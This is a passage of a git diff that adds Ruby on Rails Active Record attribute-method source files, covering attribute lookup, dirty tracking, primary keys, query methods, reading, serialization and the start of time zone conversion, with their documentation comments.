+          raise DangerousAttributeError, "#{method_name} is defined by Active Record. Check to make sure that you don't have an attribute or method with the same name."
+        end
+
+        if superclass == Base
+          super
+        else
+          # If ThisClass < ... < SomeSuperClass < ... < Base and SomeSuperClass
+          # defines its own attribute method, then we don't want to overwrite that.
+          defined = method_defined_within?(method_name, superclass, Base) &&
+            ! superclass.instance_method(method_name).owner.is_a?(GeneratedAttributeMethods)
+          defined || super
+        end
+      end
+
+      # A method name is 'dangerous' if it is already (re)defined by Active Record, but
+      # not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
+      def dangerous_attribute_method?(name) # :nodoc:
+        method_defined_within?(name, Base)
+      end
+
+      def method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
+        if klass.method_defined?(name) || klass.private_method_defined?(name)
+          if superklass.method_defined?(name) || superklass.private_method_defined?(name)
+            klass.instance_method(name).owner != superklass.instance_method(name).owner
+          else
+            true
+          end
+        else
+          false
+        end
+      end
+
+      # A class method is 'dangerous' if it is already (re)defined by Active Record, but
+      # not by any ancestors. (So 'puts' is not dangerous but 'new' is.)
+      def dangerous_class_method?(method_name)
+        BLACKLISTED_CLASS_METHODS.include?(method_name.to_s) || class_method_defined_within?(method_name, Base)
+      end
+
+      def class_method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
+        if klass.respond_to?(name, true)
+          if superklass.respond_to?(name, true)
+            klass.method(name).owner != superklass.method(name).owner
+          else
+            true
+          end
+        else
+          false
+        end
+      end
+
+      # Returns +true+ if +attribute+ is an attribute method and table exists,
+      # +false+ otherwise.
+      #
+      #   class Person < ActiveRecord::Base
+      #   end
+      #
+      #   Person.attribute_method?('name')   # => true
+      #   Person.attribute_method?(:age=)    # => true
+      #   Person.attribute_method?(:nothing) # => false
+      def attribute_method?(attribute)
+        super || (table_exists? && column_names.include?(attribute.to_s.sub(/=$/, "")))
+      end
+
+      # Returns an array of column names as strings if it's not an abstract class and
+      # table exists. Otherwise it returns an empty array.
+      #
+      #   class Person < ActiveRecord::Base
+      #   end
+      #
+      #   Person.attribute_names
+      #   # => ["id", "created_at", "updated_at", "name", "age"]
+      def attribute_names
+        @attribute_names ||= if !abstract_class? && table_exists?
+          attribute_types.keys
+        else
+          []
+        end
+      end
+
+      # Returns true if the given attribute exists, otherwise false.
+      #
+      #   class Person < ActiveRecord::Base
+      #   end
+      #
+      #   Person.has_attribute?('name')   # => true
+      #   Person.has_attribute?(:age)     # => true
+      #   Person.has_attribute?(:nothing) # => false
+      def has_attribute?(attr_name)
+        attribute_types.key?(attr_name.to_s)
+      end
+
+      # Returns the column object for the named attribute.
+      # Returns a +ActiveRecord::ConnectionAdapters::NullColumn+ if the
+      # named attribute does not exist.
+      #
+      #   class Person < ActiveRecord::Base
+      #   end
+      #
+      #   person = Person.new
+      #   person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
+      #   # => #<ActiveRecord::ConnectionAdapters::Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
+      #
+      #   person.column_for_attribute(:nothing)
+      #   # => #<ActiveRecord::ConnectionAdapters::NullColumn:0xXXX @name=nil, @sql_type=nil, @cast_type=#<Type::Value>, ...>
+      def column_for_attribute(name)
+        name = name.to_s
+        columns_hash.fetch(name) do
+          ConnectionAdapters::NullColumn.new(name)
+        end
+      end
+    end
+
+    # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
+    # <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
+    # which will all return +true+. It also defines the attribute methods if they have
+    # not been generated.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   person = Person.new
+    #   person.respond_to?(:name)    # => true
+    #   person.respond_to?(:name=)   # => true
+    #   person.respond_to?(:name?)   # => true
+    #   person.respond_to?('age')    # => true
+    #   person.respond_to?('age=')   # => true
+    #   person.respond_to?('age?')   # => true
+    #   person.respond_to?(:nothing) # => false
+    def respond_to?(name, include_private = false)
+      return false unless super
+
+      case name
+      when :to_partial_path
+        name = "to_partial_path".freeze
+      when :to_model
+        name = "to_model".freeze
+      else
+        name = name.to_s
+      end
+
+      # If the result is true then check for the select case.
+      # For queries selecting a subset of columns, return false for unselected columns.
+      # We check defined?(@attributes) not to issue warnings if called on objects that
+      # have been allocated but not yet initialized.
+      if defined?(@attributes) && self.class.column_names.include?(name)
+        return has_attribute?(name)
+      end
+
+      return true
+    end
+
+    # Returns +true+ if the given attribute is in the attributes hash, otherwise +false+.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   person = Person.new
+    #   person.has_attribute?(:name)    # => true
+    #   person.has_attribute?('age')    # => true
+    #   person.has_attribute?(:nothing) # => false
+    def has_attribute?(attr_name)
+      @attributes.key?(attr_name.to_s)
+    end
+
+    # Returns an array of names for the attributes available on this object.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   person = Person.new
+    #   person.attribute_names
+    #   # => ["id", "created_at", "updated_at", "name", "age"]
+    def attribute_names
+      @attributes.keys
+    end
+
+    # Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   person = Person.create(name: 'Francesco', age: 22)
+    #   person.attributes
+    #   # => {"id"=>3, "created_at"=>Sun, 21 Oct 2012 04:53:04, "updated_at"=>Sun, 21 Oct 2012 04:53:04, "name"=>"Francesco", "age"=>22}
+    def attributes
+      @attributes.to_hash
+    end
+
+    # Returns an <tt>#inspect</tt>-like string for the value of the
+    # attribute +attr_name+. String attributes are truncated up to 50
+    # characters, Date and Time attributes are returned in the
+    # <tt>:db</tt> format. Other attributes return the value of
+    # <tt>#inspect</tt> without modification.
+    #
+    #   person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
+    #
+    #   person.attribute_for_inspect(:name)
+    #   # => "\"David Heinemeier Hansson David Heinemeier Hansson ...\""
+    #
+    #   person.attribute_for_inspect(:created_at)
+    #   # => "\"2012-10-22 00:15:07\""
+    #
+    #   person.attribute_for_inspect(:tag_ids)
+    #   # => "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]"
+    def attribute_for_inspect(attr_name)
+      value = read_attribute(attr_name)
+
+      if value.is_a?(String) && value.length > 50
+        "#{value[0, 50]}...".inspect
+      elsif value.is_a?(Date) || value.is_a?(Time)
+        %("#{value.to_s(:db)}")
+      else
+        value.inspect
+      end
+    end
+
+    # Returns +true+ if the specified +attribute+ has been set by the user or by a
+    # database load and is neither +nil+ nor <tt>empty?</tt> (the latter only applies
+    # to objects that respond to <tt>empty?</tt>, most notably Strings). Otherwise, +false+.
+    # Note that it always returns +true+ with boolean attributes.
+    #
+    #   class Task < ActiveRecord::Base
+    #   end
+    #
+    #   task = Task.new(title: '', is_done: false)
+    #   task.attribute_present?(:title)   # => false
+    #   task.attribute_present?(:is_done) # => true
+    #   task.title = 'Buy milk'
+    #   task.is_done = true
+    #   task.attribute_present?(:title)   # => true
+    #   task.attribute_present?(:is_done) # => true
+    def attribute_present?(attribute)
+      value = _read_attribute(attribute)
+      !value.nil? && !(value.respond_to?(:empty?) && value.empty?)
+    end
+
+    # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
+    # "2004-12-12" in a date column is cast to a date object, like Date.new(2004, 12, 12)). It raises
+    # <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
+    #
+    # Note: +:id+ is always present.
+    #
+    #   class Person < ActiveRecord::Base
+    #     belongs_to :organization
+    #   end
+    #
+    #   person = Person.new(name: 'Francesco', age: '22')
+    #   person[:name] # => "Francesco"
+    #   person[:age]  # => 22
+    #
+    #   person = Person.select('id').first
+    #   person[:name]            # => ActiveModel::MissingAttributeError: missing attribute: name
+    #   person[:organization_id] # => ActiveModel::MissingAttributeError: missing attribute: organization_id
+    def [](attr_name)
+      read_attribute(attr_name) { |n| missing_attribute(n, caller) }
+    end
+
+    # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+.
+    # (Alias for the protected #write_attribute method).
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   person = Person.new
+    #   person[:age] = '22'
+    #   person[:age] # => 22
+    #   person[:age].class # => Integer
+    def []=(attr_name, value)
+      write_attribute(attr_name, value)
+    end
+
+    # Returns the name of all database fields which have been read from this
+    # model. This can be useful in development mode to determine which fields
+    # need to be selected. For performance critical pages, selecting only the
+    # required fields can be an easy performance win (assuming you aren't using
+    # all of the fields on the model).
+    #
+    # For example:
+    #
+    #   class PostsController < ActionController::Base
+    #     after_action :print_accessed_fields, only: :index
+    #
+    #     def index
+    #       @posts = Post.all
+    #     end
+    #
+    #     private
+    #
+    #     def print_accessed_fields
+    #       p @posts.first.accessed_fields
+    #     end
+    #   end
+    #
+    # Which allows you to quickly change your code to:
+    #
+    #   class PostsController < ActionController::Base
+    #     def index
+    #       @posts = Post.select(:id, :title, :author_id, :updated_at)
+    #     end
+    #   end
+    def accessed_fields
+      @attributes.accessed
+    end
+
+    protected
+
+      def attribute_method?(attr_name) # :nodoc:
+        # We check defined? because Syck calls respond_to? before actually calling initialize.
+        defined?(@attributes) && @attributes.key?(attr_name)
+      end
+
+    private
+
+      def arel_attributes_with_values_for_create(attribute_names)
+        arel_attributes_with_values(attributes_for_create(attribute_names))
+      end
+
+      def arel_attributes_with_values_for_update(attribute_names)
+        arel_attributes_with_values(attributes_for_update(attribute_names))
+      end
+
+      # Returns a Hash of the Arel::Attributes and attribute values that have been
+      # typecasted for use in an Arel insert/update method.
+      def arel_attributes_with_values(attribute_names)
+        attrs = {}
+        arel_table = self.class.arel_table
+
+        attribute_names.each do |name|
+          attrs[arel_table[name]] = typecasted_attribute_value(name)
+        end
+        attrs
+      end
+
+      # Filters the primary keys and readonly attributes from the attribute names.
+      def attributes_for_update(attribute_names)
+        attribute_names.reject do |name|
+          readonly_attribute?(name)
+        end
+      end
+
+      # Filters out the primary keys, from the attribute names, when the primary
+      # key is to be generated (e.g. the id attribute has no value).
+      def attributes_for_create(attribute_names)
+        attribute_names.reject do |name|
+          pk_attribute?(name) && id.nil?
+        end
+      end
+
+      def readonly_attribute?(name)
+        self.class.readonly_attributes.include?(name)
+      end
+
+      def pk_attribute?(name)
+        name == self.class.primary_key
+      end
+
+      def typecasted_attribute_value(name)
+        _read_attribute(name)
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
new file mode 100644
index 0000000000..5941f51a1a
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeMethods
+    # = Active Record Attribute Methods Before Type Cast
+    #
+    # ActiveRecord::AttributeMethods::BeforeTypeCast provides a way to
+    # read the value of the attributes before typecasting and deserialization.
+    #
+    #   class Task < ActiveRecord::Base
+    #   end
+    #
+    #   task = Task.new(id: '1', completed_on: '2012-10-21')
+    #   task.id           # => 1
+    #   task.completed_on # => Sun, 21 Oct 2012
+    #
+    #   task.attributes_before_type_cast
+    #   # => {"id"=>"1", "completed_on"=>"2012-10-21", ... }
+    #   task.read_attribute_before_type_cast('id')           # => "1"
+    #   task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+    #
+    # In addition to #read_attribute_before_type_cast and #attributes_before_type_cast,
+    # it declares a method for all attributes with the <tt>*_before_type_cast</tt>
+    # suffix.
+    #
+    #   task.id_before_type_cast           # => "1"
+    #   task.completed_on_before_type_cast # => "2012-10-21"
+    module BeforeTypeCast
+      extend ActiveSupport::Concern
+
+      included do
+        attribute_method_suffix "_before_type_cast"
+        attribute_method_suffix "_came_from_user?"
+      end
+
+      # Returns the value of the attribute identified by +attr_name+ before
+      # typecasting and deserialization.
+      #
+      #   class Task < ActiveRecord::Base
+      #   end
+      #
+      #   task = Task.new(id: '1', completed_on: '2012-10-21')
+      #   task.read_attribute('id')                            # => 1
+      #   task.read_attribute_before_type_cast('id')           # => '1'
+      #   task.read_attribute('completed_on')                  # => Sun, 21 Oct 2012
+      #   task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+      #   task.read_attribute_before_type_cast(:completed_on)  # => "2012-10-21"
+      def read_attribute_before_type_cast(attr_name)
+        @attributes[attr_name.to_s].value_before_type_cast
+      end
+
+      # Returns a hash of attributes before typecasting and deserialization.
+      #
+      #   class Task < ActiveRecord::Base
+      #   end
+      #
+      #   task = Task.new(title: nil, is_done: true, completed_on: '2012-10-21')
+      #   task.attributes
+      #   # => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>Sun, 21 Oct 2012, "created_at"=>nil, "updated_at"=>nil}
+      #   task.attributes_before_type_cast
+      #   # => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>"2012-10-21", "created_at"=>nil, "updated_at"=>nil}
+      def attributes_before_type_cast
+        @attributes.values_before_type_cast
+      end
+
+      private
+
+        # Handle *_before_type_cast for method_missing.
+        def attribute_before_type_cast(attribute_name)
+          read_attribute_before_type_cast(attribute_name)
+        end
+
+        def attribute_came_from_user?(attribute_name)
+          @attributes[attribute_name].came_from_user?
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
new file mode 100644
index 0000000000..5efe051125
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -0,0 +1,252 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+require_relative "../attribute_mutation_tracker"
+
+module ActiveRecord
+  module AttributeMethods
+    module Dirty # :nodoc:
+      extend ActiveSupport::Concern
+
+      include ActiveModel::Dirty
+
+      included do
+        if self < ::ActiveRecord::Timestamp
+          raise "You cannot include Dirty after Timestamp"
+        end
+
+        class_attribute :partial_writes, instance_writer: false, default: true
+
+        after_create { changes_applied }
+        after_update { changes_applied }
+
+        # Attribute methods for "changed in last call to save?"
+        attribute_method_affix(prefix: "saved_change_to_", suffix: "?")
+        attribute_method_prefix("saved_change_to_")
+        attribute_method_suffix("_before_last_save")
+
+        # Attribute methods for "will change if I call save?"
+        attribute_method_affix(prefix: "will_save_change_to_", suffix: "?")
+        attribute_method_suffix("_change_to_be_saved", "_in_database")
+      end
+
+      # <tt>reload</tt> the record and clears changed attributes.
+      def reload(*)
+        super.tap do
+          @mutations_before_last_save = nil
+          clear_mutation_trackers
+          @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+        end
+      end
+
+      def initialize_dup(other) # :nodoc:
+        super
+        @attributes = self.class._default_attributes.map do |attr|
+          attr.with_value_from_user(@attributes.fetch_value(attr.name))
+        end
+        clear_mutation_trackers
+      end
+
+      def changes_applied
+        @mutations_before_last_save = mutation_tracker
+        @mutations_from_database = AttributeMutationTracker.new(@attributes)
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+        forget_attribute_assignments
+        clear_mutation_trackers
+      end
+
+      def clear_changes_information
+        @mutations_before_last_save = nil
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+        forget_attribute_assignments
+        clear_mutation_trackers
+      end
+
+      def write_attribute_without_type_cast(attr_name, *)
+        result = super
+        clear_attribute_change(attr_name)
+        result
+      end
+
+      def clear_attribute_changes(attr_names)
+        super
+        attr_names.each do |attr_name|
+          clear_attribute_change(attr_name)
+        end
+      end
+
+      def changed_attributes
+        # This should only be set by methods which will call changed_attributes
+        # multiple times when it is known that the computed value cannot change.
+        if defined?(@cached_changed_attributes)
+          @cached_changed_attributes
+        else
+          super.reverse_merge(mutation_tracker.changed_values).freeze
+        end
+      end
+
+      def changes
+        cache_changed_attributes do
+          super
+        end
+      end
+
+      def previous_changes
+        mutations_before_last_save.changes
+      end
+
+      def attribute_changed_in_place?(attr_name)
+        mutation_tracker.changed_in_place?(attr_name)
+      end
+
+      # Did this attribute change when we last saved? This method can be invoked
+      # as `saved_change_to_name?` instead of `saved_change_to_attribute?("name")`.
+      # Behaves similarly to +attribute_changed?+. This method is useful in
+      # after callbacks to determine if the call to save changed a certain
+      # attribute.
+      #
+      # ==== Options
+      #
+      # +from+ When passed, this method will return false unless the original
+      # value is equal to the given option
+      #
+      # +to+ When passed, this method will return false unless the value was
+      # changed to the given value
+      def saved_change_to_attribute?(attr_name, **options)
+        mutations_before_last_save.changed?(attr_name, **options)
+      end
+
+      # Returns the change to an attribute during the last save. If the
+      # attribute was changed, the result will be an array containing the
+      # original value and the saved value.
+      #
+      # Behaves similarly to +attribute_change+. This method is useful in after
+      # callbacks, to see the change in an attribute that just occurred
+      #
+      # This method can be invoked as `saved_change_to_name` in instead of
+      # `saved_change_to_attribute("name")`
+      def saved_change_to_attribute(attr_name)
+        mutations_before_last_save.change_to_attribute(attr_name)
+      end
+
+      # Returns the original value of an attribute before the last save.
+      # Behaves similarly to +attribute_was+. This method is useful in after
+      # callbacks to get the original value of an attribute before the save that
+      # just occurred
+      def attribute_before_last_save(attr_name)
+        mutations_before_last_save.original_value(attr_name)
+      end
+
+      # Did the last call to `save` have any changes to change?
+      def saved_changes?
+        mutations_before_last_save.any_changes?
+      end
+
+      # Returns a hash containing all the changes that were just saved.
+      def saved_changes
+        mutations_before_last_save.changes
+      end
+
+      # Alias for `attribute_changed?`
+      def will_save_change_to_attribute?(attr_name, **options)
+        mutations_from_database.changed?(attr_name, **options)
+      end
+
+      # Alias for `attribute_change`
+      def attribute_change_to_be_saved(attr_name)
+        mutations_from_database.change_to_attribute(attr_name)
+      end
+
+      # Alias for `attribute_was`
+      def attribute_in_database(attr_name)
+        mutations_from_database.original_value(attr_name)
+      end
+
+      # Alias for `changed?`
+      def has_changes_to_save?
+        mutations_from_database.any_changes?
+      end
+
+      # Alias for `changes`
+      def changes_to_save
+        mutations_from_database.changes
+      end
+
+      # Alias for `changed`
+      def changed_attribute_names_to_save
+        changes_to_save.keys
+      end
+
+      # Alias for `changed_attributes`
+      def attributes_in_database
+        changes_to_save.transform_values(&:first)
+      end
+
+      private
+
+        def mutation_tracker
+          unless defined?(@mutation_tracker)
+            @mutation_tracker = nil
+          end
+          @mutation_tracker ||= AttributeMutationTracker.new(@attributes)
+        end
+
+        def mutations_from_database
+          unless defined?(@mutations_from_database)
+            @mutations_from_database = nil
+          end
+          @mutations_from_database ||= mutation_tracker
+        end
+
+        def changes_include?(attr_name)
+          super || mutation_tracker.changed?(attr_name)
+        end
+
+        def clear_attribute_change(attr_name)
+          mutation_tracker.forget_change(attr_name)
+          mutations_from_database.forget_change(attr_name)
+        end
+
+        def attribute_will_change!(attr_name)
+          super
+          mutations_from_database.force_change(attr_name)
+        end
+
+        def _update_record(*)
+          partial_writes? ? super(keys_for_partial_write) : super
+        end
+
+        def _create_record(*)
+          partial_writes? ? super(keys_for_partial_write) : super
+        end
+
+        def keys_for_partial_write
+          changed_attribute_names_to_save & self.class.column_names
+        end
+
+        def forget_attribute_assignments
+          @attributes = @attributes.map(&:forgetting_assignment)
+        end
+
+        def clear_mutation_trackers
+          @mutation_tracker = nil
+          @mutations_from_database = nil
+        end
+
+        def mutations_before_last_save
+          @mutations_before_last_save ||= NullMutationTracker.instance
+        end
+
+        def cache_changed_attributes
+          @cached_changed_attributes = changed_attributes
+          yield
+        ensure
+          clear_changed_attributes_cache
+        end
+
+        def clear_changed_attributes_cache
+          remove_instance_variable(:@cached_changed_attributes) if defined?(@cached_changed_attributes)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
new file mode 100644
index 0000000000..63c059e291
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "set"
+
+module ActiveRecord
+  module AttributeMethods
+    module PrimaryKey
+      extend ActiveSupport::Concern
+
+      # Returns this record's primary key value wrapped in an array if one is
+      # available.
+      def to_key
+        key = id
+        [key] if key
+      end
+
+      # Returns the primary key value.
+      def id
+        sync_with_transaction_state
+        _read_attribute(self.class.primary_key) if self.class.primary_key
+      end
+
+      # Sets the primary key value.
+      def id=(value)
+        sync_with_transaction_state
+        _write_attribute(self.class.primary_key, value) if self.class.primary_key
+      end
+
+      # Queries the primary key value.
+      def id?
+        sync_with_transaction_state
+        query_attribute(self.class.primary_key)
+      end
+
+      # Returns the primary key value before type cast.
+      def id_before_type_cast
+        sync_with_transaction_state
+        read_attribute_before_type_cast(self.class.primary_key)
+      end
+
+      # Returns the primary key previous value.
+      def id_was
+        sync_with_transaction_state
+        attribute_was(self.class.primary_key)
+      end
+
+      def id_in_database
+        sync_with_transaction_state
+        attribute_in_database(self.class.primary_key)
+      end
+
+      private
+
+        def attribute_method?(attr_name)
+          attr_name == "id" || super
+        end
+
+        module ClassMethods
+          ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast id_was id_in_database).to_set
+
+          def instance_method_already_implemented?(method_name)
+            super || primary_key && ID_ATTRIBUTE_METHODS.include?(method_name)
+          end
+
+          def dangerous_attribute_method?(method_name)
+            super && !ID_ATTRIBUTE_METHODS.include?(method_name)
+          end
+
+          # Defines the primary key field -- can be overridden in subclasses.
+          # Overwriting will negate any effect of the +primary_key_prefix_type+
+          # setting, though.
+          def primary_key
+            @primary_key = reset_primary_key unless defined? @primary_key
+            @primary_key
+          end
+
+          # Returns a quoted version of the primary key name, used to construct
+          # SQL statements.
+          def quoted_primary_key
+            @quoted_primary_key ||= connection.quote_column_name(primary_key)
+          end
+
+          def reset_primary_key #:nodoc:
+            if self == base_class
+              self.primary_key = get_primary_key(base_class.name)
+            else
+              self.primary_key = base_class.primary_key
+            end
+          end
+
+          def get_primary_key(base_name) #:nodoc:
+            if base_name && primary_key_prefix_type == :table_name
+              base_name.foreign_key(false)
+            elsif base_name && primary_key_prefix_type == :table_name_with_underscore
+              base_name.foreign_key
+            else
+              if ActiveRecord::Base != self && table_exists?
+                pk = connection.schema_cache.primary_keys(table_name)
+                suppress_composite_primary_key(pk)
+              else
+                "id"
+              end
+            end
+          end
+
+          # Sets the name of the primary key column.
+          #
+          #   class Project < ActiveRecord::Base
+          #     self.primary_key = 'sysid'
+          #   end
+          #
+          # You can also define the #primary_key method yourself:
+          #
+          #   class Project < ActiveRecord::Base
+          #     def self.primary_key
+          #       'foo_' + super
+          #     end
+          #   end
+          #
+          #   Project.primary_key # => "foo_id"
+          def primary_key=(value)
+            @primary_key        = value && value.to_s
+            @quoted_primary_key = nil
+            @attributes_builder = nil
+          end
+
+          private
+
+            def suppress_composite_primary_key(pk)
+              return pk unless pk.is_a?(Array)
+
+              warn <<-WARNING.strip_heredoc
+                WARNING: Active Record does not support composite primary key.
+
+                #{table_name} has composite primary key. Composite primary key is ignored.
+              WARNING
+            end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb
new file mode 100644
index 0000000000..6757e9b66a
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/query.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeMethods
+    module Query
+      extend ActiveSupport::Concern
+
+      included do
+        attribute_method_suffix "?"
+      end
+
+      def query_attribute(attr_name)
+        value = self[attr_name]
+
+        case value
+        when true        then true
+        when false, nil  then false
+        else
+          column = self.class.columns_hash[attr_name]
+          if column.nil?
+            if Numeric === value || value !~ /[^0-9]/
+              !value.to_i.zero?
+            else
+              return false if ActiveModel::Type::Boolean::FALSE_VALUES.include?(value)
+              !value.blank?
+            end
+          elsif value.respond_to?(:zero?)
+            !value.zero?
+          else
+            !value.blank?
+          end
+        end
+      end
+
+      private
+        # Handle *? for method_missing.
+        def attribute?(attribute_name)
+          query_attribute(attribute_name)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
new file mode 100644
index 0000000000..6adaeb0121
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeMethods
+    module Read
+      extend ActiveSupport::Concern
+
+      module ClassMethods
+        private
+
+          # We want to generate the methods via module_eval rather than
+          # define_method, because define_method is slower on dispatch.
+          # Evaluating many similar methods may use more memory as the instruction
+          # sequences are duplicated and cached (in MRI).  define_method may
+          # be slower on dispatch, but if you're careful about the closure
+          # created, then define_method will consume much less memory.
+          #
+          # But sometimes the database might return columns with
+          # characters that are not allowed in normal method names (like
+          # 'my_column(omg)'. So to work around this we first define with
+          # the __temp__ identifier, and then use alias method to rename
+          # it to what we want.
+          #
+          # We are also defining a constant to hold the frozen string of
+          # the attribute name. Using a constant means that we do not have
+          # to allocate an object on each call to the attribute method.
+          # Making it frozen means that it doesn't get duped when used to
+          # key the @attributes in read_attribute.
+          def define_method_attribute(name)
+            safe_name = name.unpack("h*".freeze).first
+            temp_method = "__temp__#{safe_name}"
+
+            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+
+            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+              def #{temp_method}
+                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+                _read_attribute(name) { |n| missing_attribute(n, caller) }
+              end
+            STR
+
+            generated_attribute_methods.module_eval do
+              alias_method name, temp_method
+              undef_method temp_method
+            end
+          end
+      end
+
+      # Returns the value of the attribute identified by <tt>attr_name</tt> after
+      # it has been typecast (for example, "2004-12-12" in a date column is cast
+      # to a date object, like Date.new(2004, 12, 12)).
+      def read_attribute(attr_name, &block)
+        name = if self.class.attribute_alias?(attr_name)
+          self.class.attribute_alias(attr_name).to_s
+        else
+          attr_name.to_s
+        end
+
+        name = self.class.primary_key if name == "id".freeze && self.class.primary_key
+        _read_attribute(name, &block)
+      end
+
+      # This method exists to avoid the expensive primary_key check internally, without
+      # breaking compatibility with the read_attribute API
+      if defined?(JRUBY_VERSION)
+        # This form is significantly faster on JRuby, and this is one of our biggest hotspots.
+        # https://github.com/jruby/jruby/pull/2562
+        def _read_attribute(attr_name, &block) # :nodoc
+          @attributes.fetch_value(attr_name.to_s, &block)
+        end
+      else
+        def _read_attribute(attr_name) # :nodoc:
+          @attributes.fetch_value(attr_name.to_s) { |n| yield n if block_given? }
+        end
+      end
+
+      alias :attribute :_read_attribute
+      private :attribute
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
new file mode 100644
index 0000000000..6ed45d8737
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeMethods
+    module Serialization
+      extend ActiveSupport::Concern
+
+      module ClassMethods
+        # If you have an attribute that needs to be saved to the database as an
+        # object, and retrieved as the same object, then specify the name of that
+        # attribute using this method and it will be handled automatically. The
+        # serialization is done through YAML. If +class_name+ is specified, the
+        # serialized object must be of that class on assignment and retrieval.
+        # Otherwise SerializationTypeMismatch will be raised.
+        #
+        # Empty objects as <tt>{}</tt>, in the case of +Hash+, or <tt>[]</tt>, in the case of
+        # +Array+, will always be persisted as null.
+        #
+        # Keep in mind that database adapters handle certain serialization tasks
+        # for you. For instance: +json+ and +jsonb+ types in PostgreSQL will be
+        # converted between JSON object/array syntax and Ruby +Hash+ or +Array+
+        # objects transparently. There is no need to use #serialize in this
+        # case.
+        #
+        # For more complex cases, such as conversion to or from your application
+        # domain objects, consider using the ActiveRecord::Attributes API.
+        #
+        # ==== Parameters
+        #
+        # * +attr_name+ - The field name that should be serialized.
+        # * +class_name_or_coder+ - Optional, a coder object, which responds to +.load+ and +.dump+
+        #   or a class name that the object type should be equal to.
+        #
+        # ==== Example
+        #
+        #   # Serialize a preferences attribute.
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences
+        #   end
+        #
+        #   # Serialize preferences using JSON as coder.
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, JSON
+        #   end
+        #
+        #   # Serialize preferences as Hash using YAML coder.
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, Hash
+        #   end
+        def serialize(attr_name, class_name_or_coder = Object)
+          # When ::JSON is used, force it to go through the Active Support JSON encoder
+          # to ensure special objects (e.g. Active Record models) are dumped correctly
+          # using the #as_json hook.
+          coder = if class_name_or_coder == ::JSON
+            Coders::JSON
+          elsif [:load, :dump].all? { |x| class_name_or_coder.respond_to?(x) }
+            class_name_or_coder
+          else
+            Coders::YAMLColumn.new(attr_name, class_name_or_coder)
+          end
+
+          decorate_attribute_type(attr_name, :serialize) do |type|
+            Type::Serialized.new(type, coder)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
new file mode 100644
index 0000000000..f12a9f915c
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeMethods
+    module TimeZoneConversion
+      class TimeZoneConverter < DelegateClass(Type::Value) # :nodoc:
+        def deserialize(value)
+          convert_time_to_time_zone(super)
+        end
+
+        def cast(value)
+          return if value.nil?
+
+          if value.is_a?(Hash)
+            set_time_zone_without_conversion(super)
+          elsif value.respond_to?(:in_time_zone)
+            begin
+              super(user_input_in_time_zone(value)) || super
+            rescue ArgumentError
+              nil
+            end
+          else
+            map_avoiding_infinite_recursion(super) { |v| cast(v) }
+          end
+        end
+
+        private
+
